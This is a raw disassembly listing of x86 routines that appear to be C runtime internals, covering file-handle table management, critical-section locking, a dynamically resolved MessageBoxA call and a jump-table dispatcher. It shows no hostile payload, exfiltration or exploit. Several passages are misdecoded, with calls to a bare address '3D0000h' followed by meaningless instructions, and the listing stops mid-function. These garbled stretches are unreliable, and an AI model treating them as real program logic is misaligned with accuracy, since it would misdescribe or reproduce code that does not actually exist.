loc_42D2EC: ; CODE XREF: sub_42D260+56j
mov esp, ebp
pop ebp
retn 4
sub_42D260 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D300 proc near ; CODE XREF: sub_4211A0+2E7p
; sub_430780+Fp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
sub ecx, 2
mov [ebp+var_20], ecx
cmp [ebp+var_20], 14h
ja loc_42D3CE
mov eax, [ebp+var_20]
xor edx, edx
mov dl, ds:byte_42D522[eax]
jmp ds:off_42D50A[edx*4]
loc_42D338: ; DATA XREF: seg000:off_42D50Ao
mov [ebp+var_18], offset dword_4EEB98
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp loc_42D3D6
; ---------------------------------------------------------------------------
loc_42D355: ; CODE XREF: sub_42D300+31j
; DATA XREF: seg000:0042D516o
mov [ebp+var_18], offset dword_4EEB9C
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42D3D6
; ---------------------------------------------------------------------------
loc_42D36F: ; CODE XREF: sub_42D300+31j
; DATA XREF: seg000:0042D51Ao
mov [ebp+var_18], offset dword_4EEBA0
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42D3D6
; ---------------------------------------------------------------------------
loc_42D389: ; CODE XREF: sub_42D300+31j
; DATA XREF: seg000:0042D512o
mov [ebp+var_18], offset dword_4EEBA4
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42D3D6
; ---------------------------------------------------------------------------
loc_42D3A3: ; CODE XREF: sub_42D300+31j
; DATA XREF: seg000:0042D50Eo
call sub_425C30
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42D540
add esp, 8
add eax, 8
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
jmp short loc_42D3D6
; ---------------------------------------------------------------------------
loc_42D3CE: ; CODE XREF: sub_42D300+20j
; sub_42D300+31j
; DATA XREF: ...
or eax, 0FFFFFFFFh
jmp loc_42D506
; ---------------------------------------------------------------------------
loc_42D3D6: ; CODE XREF: sub_42D300+50j
; sub_42D300+6Dj ...
cmp [ebp+var_C], 0
jz short loc_42D3E6
push 1
call sub_421A80
add esp, 4
loc_42D3E6: ; CODE XREF: sub_42D300+DAj
cmp [ebp+var_1C], 1
jnz short loc_42D403
cmp [ebp+var_C], 0
jz short loc_42D3FC
push 1
call sub_421B20
add esp, 4
loc_42D3FC: ; CODE XREF: sub_42D300+F0j
xor eax, eax
jmp loc_42D506
; ---------------------------------------------------------------------------
loc_42D403: ; CODE XREF: sub_42D300+EAj
cmp [ebp+var_1C], 0
jnz short loc_42D420
cmp [ebp+var_C], 0
jz short loc_42D419
push 1
call sub_421B20
add esp, 4
loc_42D419: ; CODE XREF: sub_42D300+10Dj
push 3
call sub_41D9F0
loc_42D420: ; CODE XREF: sub_42D300+107j
cmp [ebp+arg_0], 8
jz short loc_42D432
cmp [ebp+arg_0], 0Bh
jz short loc_42D432
cmp [ebp+arg_0], 4
jnz short loc_42D45E
loc_42D432: ; CODE XREF: sub_42D300+124j
; sub_42D300+12Aj
mov eax, [ebp+var_4]
mov ecx, [eax+54h]
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+54h], 0
cmp [ebp+arg_0], 8
jnz short loc_42D45E
mov eax, [ebp+var_4]
mov ecx, [eax+58h]
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+58h], 8Ch
loc_42D45E: ; CODE XREF: sub_42D300+130j
; sub_42D300+149j
cmp [ebp+arg_0], 8
jnz short loc_42D4A0
mov eax, ds:dword_4505F0
mov [ebp+var_10], eax
jmp short loc_42D477
; ---------------------------------------------------------------------------
loc_42D46E: ; CODE XREF: sub_42D300+19Cj
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_42D477: ; CODE XREF: sub_42D300+16Cj
mov edx, ds:dword_4505F0
add edx, ds:dword_4505F4
cmp [ebp+var_10], edx
jge short loc_42D49E
mov eax, [ebp+var_10]
imul eax, 0Ch
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_42D46E
; ---------------------------------------------------------------------------
loc_42D49E: ; CODE XREF: sub_42D300+186j
jmp short loc_42D4A9
; ---------------------------------------------------------------------------
loc_42D4A0: ; CODE XREF: sub_42D300+162j
mov eax, [ebp+var_18]
mov dword ptr [eax], 0
loc_42D4A9: ; CODE XREF: sub_42D300:loc_42D49Ej
cmp [ebp+var_C], 0
jz short loc_42D4B9
push 1
call sub_421B20
add esp, 4
loc_42D4B9: ; CODE XREF: sub_42D300+1ADj
cmp [ebp+arg_0], 8
jnz short loc_42D4D0
mov ecx, [ebp+var_4]
mov edx, [ecx+58h]
push edx
push 8
call [ebp+var_1C]
add esp, 8
jmp short loc_42D4DA
; ---------------------------------------------------------------------------
loc_42D4D0: ; CODE XREF: sub_42D300+1BDj
mov eax, [ebp+arg_0]
push eax
call [ebp+var_1C]
add esp, 4
loc_42D4DA: ; CODE XREF: sub_42D300+1CEj
cmp [ebp+arg_0], 8
jz short loc_42D4EC
cmp [ebp+arg_0], 0Bh
jz short loc_42D4EC
cmp [ebp+arg_0], 4
jnz short loc_42D504
loc_42D4EC: ; CODE XREF: sub_42D300+1DEj
; sub_42D300+1E4j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_14]
mov [ecx+54h], edx
cmp [ebp+arg_0], 8
jnz short loc_42D504
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov [eax+58h], ecx
loc_42D504: ; CODE XREF: sub_42D300+1EAj
; sub_42D300+1F9j
xor eax, eax
loc_42D506: ; CODE XREF: sub_42D300+D1j
; sub_42D300+FEj
mov esp, ebp
pop ebp
retn
sub_42D300 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
off_42D50A dd offset loc_42D338 ; DATA XREF: sub_42D300+31r
dd offset loc_42D3A3
dd offset loc_42D389
dd offset loc_42D355
dd offset loc_42D36F
dd offset loc_42D3CE
byte_42D522 db 0 ; DATA XREF: sub_42D300+2Br
db 5
dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D540 proc near ; CODE XREF: seg000:0042D1C0p
; sub_42D300+B6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_42D54A: ; CODE XREF: sub_42D540+31j
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
cmp edx, [ebp+arg_0]
jz short loc_42D573
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, ds:dword_4505FC
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_42D573
jmp short loc_42D54A
; ---------------------------------------------------------------------------
loc_42D573: ; CODE XREF: sub_42D540+13j
; sub_42D540+2Fj
mov eax, ds:dword_4505FC
imul eax, 0Ch
mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_42D595
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_0]
jnz short loc_42D595
mov eax, [ebp+var_4]
jmp short loc_42D597
; ---------------------------------------------------------------------------
loc_42D595: ; CODE XREF: sub_42D540+43j
; sub_42D540+4Ej
xor eax, eax
loc_42D597: ; CODE XREF: sub_42D540+53j
mov esp, ebp
pop ebp
retn
sub_42D540 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_425C30
add eax, 58h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D5B0 proc near ; CODE XREF: seg000:0042F789p
push ebp
mov ebp, esp
call sub_425C30
add eax, 54h
pop ebp
retn
sub_42D5B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D5C0 proc near ; CODE XREF: sub_4211A0+2CEp
; sub_42CB30+1B0p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
cmp ds:dword_4EEBAC, 0
jnz short loc_42D633
push offset aUser32_dll_0 ; "user32.dll"
call ds:dword_4F130C ; LoadLibraryA
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_42D607
push offset aMessageboxa ; "MessageBoxA"
mov eax, [ebp+var_8]
push eax
call ds:dword_4F1314
mov ds:dword_4EEBAC, eax
cmp ds:dword_4EEBAC, 0
jnz short loc_42D60B
loc_42D607: ; CODE XREF: sub_42D5C0+28j
xor eax, eax
jmp short loc_42D677
; ---------------------------------------------------------------------------
loc_42D60B: ; CODE XREF: sub_42D5C0+45j
push offset aGetactivewindo ; "GetActiveWindow"
mov ecx, [ebp+var_8]
push ecx
call ds:dword_4F1314
mov ds:dword_4EEBB0, eax
push offset aGetlastactivep ; "GetLastActivePopup"
mov edx, [ebp+var_8]
push edx
call ds:dword_4F1314
mov ds:dword_4EEBB4, eax
loc_42D633: ; CODE XREF: sub_42D5C0+14j
cmp ds:dword_4EEBB0, 0
jz short loc_42D645
call ds:dword_4EEBB0
mov [ebp+var_4], eax
loc_42D645: ; CODE XREF: sub_42D5C0+7Aj
cmp [ebp+var_4], 0
jz short loc_42D661
cmp ds:dword_4EEBB4, 0
jz short loc_42D661
mov eax, [ebp+var_4]
push eax
call ds:dword_4EEBB4
mov [ebp+var_4], eax
loc_42D661: ; CODE XREF: sub_42D5C0+89j
; sub_42D5C0+92j
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
call ds:dword_4EEBAC
loc_42D677: ; CODE XREF: sub_42D5C0+49j
mov esp, ebp
pop ebp
retn
sub_42D5C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D680 proc near ; CODE XREF: seg000:loc_42DB12p
; sub_42E310:loc_42E5A9p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
mov [ebp+var_8], 0FFFFFFFFh
push 12h
call sub_421A80
add esp, 4
mov [ebp+var_C], 0
jmp short loc_42D6AA
; ---------------------------------------------------------------------------
loc_42D6A1: ; CODE XREF: sub_42D680:loc_42D84Bj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_42D6AA: ; CODE XREF: sub_42D680+1Fj
cmp [ebp+var_C], 40h
jge loc_42D850
mov ecx, [ebp+var_C]
cmp ds:dword_4EED20[ecx*4], 0
jz loc_42D7B6
mov edx, [ebp+var_C]
mov eax, ds:dword_4EED20[edx*4]
mov [ebp+var_4], eax
jmp short loc_42D6DD
; ---------------------------------------------------------------------------
loc_42D6D4: ; CODE XREF: sub_42D680+F1j
; sub_42D680:loc_42D7A1j
mov ecx, [ebp+var_4]
add ecx, 24h
mov [ebp+var_4], ecx
loc_42D6DD: ; CODE XREF: sub_42D680+52j
mov edx, [ebp+var_C]
mov eax, ds:dword_4EED20[edx*4]
add eax, 480h
cmp [ebp+var_4], eax
jnb loc_42D7A6
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jnz loc_42D7A1
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_42D749
push 11h
call sub_421A80
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_42D73F
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
call ds:dword_4F1444 ; InitializeCriticalSection
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_42D73F: ; CODE XREF: sub_42D680+A1j
push 11h
call sub_421B20
add esp, 4
loc_42D749: ; CODE XREF: sub_42D680+8Ej
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
call ds:dword_4F1364 ; RtlEnterCriticalSection
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jz short loc_42D776
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
call ds:dword_4F1360 ; RtlLeaveCriticalSection
jmp loc_42D6D4
; ---------------------------------------------------------------------------
loc_42D776: ; CODE XREF: sub_42D680+E2j
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov ecx, [ebp+var_C]
shl ecx, 5
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
sub eax, ds:dword_4EED20[edx*4]
cdq
mov esi, 24h
idiv esi
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_42D7A6
; ---------------------------------------------------------------------------
loc_42D7A1: ; CODE XREF: sub_42D680+81j
jmp loc_42D6D4
; ---------------------------------------------------------------------------
loc_42D7A6: ; CODE XREF: sub_42D680+6Fj
; sub_42D680+11Fj
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_42D7B1
jmp loc_42D850
; ---------------------------------------------------------------------------
loc_42D7B1: ; CODE XREF: sub_42D680+12Aj
jmp loc_42D84B
; ---------------------------------------------------------------------------
loc_42D7B6: ; CODE XREF: sub_42D680+3Fj
push 79h
push offset aOsfinfo_c ; "osfinfo.c"
push 2
push 480h
call sub_41AE60
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42D849
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov ds:dword_4EED20[eax*4], ecx
mov edx, ds:dword_4EEE20
add edx, 20h
mov ds:dword_4EEE20, edx
jmp short loc_42D7FC
; ---------------------------------------------------------------------------
loc_42D7F3: ; CODE XREF: sub_42D680+1B2j
mov eax, [ebp+var_4]
add eax, 24h
mov [ebp+var_4], eax
loc_42D7FC: ; CODE XREF: sub_42D680+171j
mov ecx, [ebp+var_C]
mov edx, ds:dword_4EED20[ecx*4]
add edx, 480h
cmp [ebp+var_4], edx
jnb short loc_42D834
mov eax, [ebp+var_4]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_4]
mov dword ptr [eax+8], 0
jmp short loc_42D7F3
; ---------------------------------------------------------------------------
loc_42D834: ; CODE XREF: sub_42D680+18Fj
mov ecx, [ebp+var_C]
shl ecx, 5
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
push edx
call sub_42DB90
add esp, 4
loc_42D849: ; CODE XREF: sub_42D680+153j
jmp short loc_42D850
; ---------------------------------------------------------------------------
loc_42D84B: ; CODE XREF: sub_42D680:loc_42D7B1j
jmp loc_42D6A1
; ---------------------------------------------------------------------------
loc_42D850: ; CODE XREF: sub_42D680+2Ej
; sub_42D680+12Cj ...
push 12h
call sub_421B20
add esp, 4
mov eax, [ebp+var_8]
pop esi
mov esp, ebp
pop ebp
retn
sub_42D680 endp
; ---------------------------------------------------------------------------
align 10h
loc_42D870: ; CODE XREF: seg000:0042DB43p
; sub_42E310+379p
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, ds:dword_4EEE20
jnb loc_42D90A
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jnz short loc_42D90A
cmp ds:dword_44FD34, 1
jnz short loc_42D8EA
mov ecx, [ebp+8]
mov [ebp-4], ecx
cmp dword ptr [ebp-4], 0
jz short loc_42D8C2
cmp dword ptr [ebp-4], 1
jz short near ptr loc_42D8CF+1
cmp dword ptr [ebp-4], 2
jz short near ptr loc_42D8DD+1
jmp short loc_42D8EA
; ---------------------------------------------------------------------------
loc_42D8C2: ; CODE XREF: seg000:0042D8B2j
mov edx, [ebp+0Ch]
push edx
push 0FFFFFFF6h
call near ptr 3D0000h
adc ebx, ebp
loc_42D8CF: ; CODE XREF: seg000:0042D8B8j
sbb cl, [ebx+6A500C45h]
cmc
call near ptr 3D0000h
or al, 0EBh
loc_42D8DD: ; CODE XREF: seg000:0042D8BEj
or al, 8Bh
dec ebp
or al, 51h
push 0FFFFFFF4h
call near ptr 3D0000h
aas
loc_42D8EA: ; CODE XREF: seg000:0042D8A6j
; seg000:0042D8C0j
mov edx, [ebp+8]
sar edx, 5
mov eax, [ebp+8]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4EED20[edx*4]
mov edx, [ebp+0Ch]
mov [ecx+eax], edx
xor eax, eax
jmp short loc_42D923
; ---------------------------------------------------------------------------
loc_42D90A: ; CODE XREF: seg000:0042D87Dj
; seg000:0042D89Dj
call sub_4267E0
mov dword ptr [eax], 9
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_42D923: ; CODE XREF: seg000:0042D908j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
loc_42D930: ; CODE XREF: sub_421530+69p
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, ds:dword_4EEE20
jnb loc_42D9EB
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz loc_42D9EB
mov edx, [ebp+8]
sar edx, 5
mov eax, [ebp+8]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4EED20[edx*4]
cmp dword ptr [ecx+eax], 0FFFFFFFFh
jz short loc_42D9EB
cmp ds:dword_44FD34, 1
jnz short near ptr loc_42D9C9+1
mov edx, [ebp+8]
mov [ebp-4], edx
cmp dword ptr [ebp-4], 0
jz short loc_42D9A8
cmp dword ptr [ebp-4], 1
loc_42D99E: ; CODE XREF: seg000:0042D9B1j
jz short loc_42D9B4
cmp dword ptr [ebp-4], 2
jz short near ptr loc_42D9BF+1
jmp short near ptr loc_42D9C9+1
; ---------------------------------------------------------------------------
loc_42D9A8: ; CODE XREF: seg000:0042D998j
push 0
push 0FFFFFFF6h
call near ptr 3D0000h
jo short loc_42D99E
push ss
loc_42D9B4: ; CODE XREF: seg000:loc_42D99Ej
push 0
push 0FFFFFFF5h
call near ptr 3D0000h
mov dl, 0EBh
loc_42D9BF: ; CODE XREF: seg000:0042D9A4j
or ch, [edx+0]
push 0FFFFFFF4h
call near ptr 3D0000h
loc_42D9C9: ; CODE XREF: seg000:0042D98Cj
; seg000:0042D9A6j
sbb cl, [ebx-73EF7BBh]
add eax, 83084D8Bh
loope near ptr loc_42D9F0+5
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
mov dword ptr [edx+ecx], 0FFFFFFFFh
xor eax, eax
jmp short loc_42DA04
; ---------------------------------------------------------------------------
loc_42D9EB: ; CODE XREF: seg000:0042D93Dj
; seg000:0042D963j ...
call sub_4267E0
loc_42D9F0: ; CODE XREF: seg000:0042D9D4j
mov dword ptr [eax], 9
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_42DA04: ; CODE XREF: seg000:0042D9E9j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DA10 proc near ; CODE XREF: sub_421530+9p
; sub_421530+24p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4EEE20
jnb short loc_42DA5B
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz short loc_42DA5B
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4EED20[edx*4]
mov eax, [ecx+eax]
jmp short loc_42DA74
; ---------------------------------------------------------------------------
loc_42DA5B: ; CODE XREF: sub_42DA10+Cj
; sub_42DA10+2Ej
call sub_4267E0
mov dword ptr [eax], 9
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_42DA74: ; CODE XREF: sub_42DA10+49j
pop ebp
retn
sub_42DA10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov byte ptr [ebp-0Ch], 0
mov eax, [ebp+0Ch]
and eax, 8
test eax, eax
jz short loc_42DA9D
mov cl, [ebp-0Ch]
or cl, 20h
mov [ebp-0Ch], cl
loc_42DA9D: ; CODE XREF: seg000:0042DA92j
mov edx, [ebp+0Ch]
and edx, 4000h
test edx, edx
jz short loc_42DAB2
mov al, [ebp-0Ch]
or al, 80h
mov [ebp-0Ch], al
loc_42DAB2: ; CODE XREF: seg000:0042DAA8j
mov ecx, [ebp+0Ch]
and ecx, 80h
test ecx, ecx
jz short loc_42DAC8
mov dl, [ebp-0Ch]
or dl, 10h
mov [ebp-0Ch], dl
loc_42DAC8: ; CODE XREF: seg000:0042DABDj
mov eax, [ebp+8]
push eax
call near ptr 3D0000h
adc ecx, [ecx+7D83FC45h]
cld
add [ebp+17h], dh
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
call sub_426740
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42DB80
; ---------------------------------------------------------------------------
cmp dword ptr [ebp-4], 2
jnz short loc_42DB03
mov cl, [ebp-0Ch]
or cl, 40h
mov [ebp-0Ch], cl
jmp short loc_42DB12
; ---------------------------------------------------------------------------
loc_42DB03: ; CODE XREF: seg000:0042DAF6j
cmp dword ptr [ebp-4], 3
jnz short loc_42DB12
mov dl, [ebp-0Ch]
or dl, 8
mov [ebp-0Ch], dl
loc_42DB12: ; CODE XREF: seg000:0042DB01j
; seg000:0042DB07j
call sub_42D680
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0FFFFFFFFh
jnz short loc_42DB3B
call sub_4267E0
mov dword ptr [eax], 18h
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42DB80
; ---------------------------------------------------------------------------
loc_42DB3B: ; CODE XREF: seg000:0042DB1Ej
mov eax, [ebp+8]
push eax
mov ecx, [ebp-8]
push ecx
call loc_42D870
add esp, 8
mov dl, [ebp-0Ch]
or dl, 1
mov [ebp-0Ch], dl
mov eax, [ebp-8]
sar eax, 5
mov ecx, [ebp-8]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
mov al, [ebp-0Ch]
mov [edx+ecx+4], al
mov ecx, [ebp-8]
push ecx
call sub_42DC20
add esp, 4
mov eax, [ebp-8]
loc_42DB80: ; CODE XREF: seg000:0042DAEDj
; seg000:0042DB39j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DB90 proc near ; CODE XREF: sub_4214B0+50p
; sub_424040+50p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_42DBF1
push 11h
call sub_421A80
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_42DBE7
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
call ds:dword_4F1444 ; InitializeCriticalSection
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_42DBE7: ; CODE XREF: sub_42DB90+39j
push 11h
call sub_421B20
add esp, 4
loc_42DBF1: ; CODE XREF: sub_42DB90+26j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call ds:dword_4F1364 ; RtlEnterCriticalSection
mov esp, ebp
pop ebp
retn
sub_42DB90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DC20 proc near ; CODE XREF: sub_4214B0+6Bp
; sub_424040+73p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call ds:dword_4F1360 ; RtlLeaveCriticalSection
pop ebp
retn
sub_42DC20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DC50 proc near ; CODE XREF: sub_4216D0+2Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4EEE20
jnb short loc_42DC81
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42DC94
loc_42DC81: ; CODE XREF: sub_42DC50+Dj
call sub_4267E0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_42DD1E
; ---------------------------------------------------------------------------
loc_42DC94: ; CODE XREF: sub_42DC50+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_42DB90
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 1
test eax, eax
jz short loc_42DCFD
mov ecx, [ebp+arg_0]
push ecx
call sub_42DA10
add esp, 4
push eax
call near ptr 3D0000h
pop ds
test eax, eax
jnz short loc_42DCE4
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_42DCEB
; ---------------------------------------------------------------------------
loc_42DCE4: ; CODE XREF: sub_42DC50+87j
mov [ebp+var_4], 0
loc_42DCEB: ; CODE XREF: sub_42DC50+92j
cmp [ebp+var_4], 0
jnz short loc_42DCF3
jmp short loc_42DD0F
; ---------------------------------------------------------------------------
loc_42DCF3: ; CODE XREF: sub_42DC50+9Fj
call sub_4267F0
mov edx, [ebp+var_4]
mov [eax], edx
loc_42DCFD: ; CODE XREF: sub_42DC50+70j
call sub_4267E0
mov dword ptr [eax], 9
mov [ebp+var_4], 0FFFFFFFFh
loc_42DD0F: ; CODE XREF: sub_42DC50+A1j
mov eax, [ebp+arg_0]
push eax
call sub_42DC20
add esp, 4
mov eax, [ebp+var_4]
loc_42DD1E: ; CODE XREF: sub_42DC50+3Fj
mov esp, ebp
pop ebp
retn
sub_42DC50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DD30 proc near ; CODE XREF: sub_421720+57p
; sub_424A30+1C9p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4EEE20
jnb short loc_42DD61
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42DD7C
loc_42DD61: ; CODE XREF: sub_42DD30+Dj
call sub_4267E0
mov dword ptr [eax], 9
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42DDAE
; ---------------------------------------------------------------------------
loc_42DD7C: ; CODE XREF: sub_42DD30+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_42DB90
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42DDC0
add esp, 0Ch
mov [ebp+var_4], eax
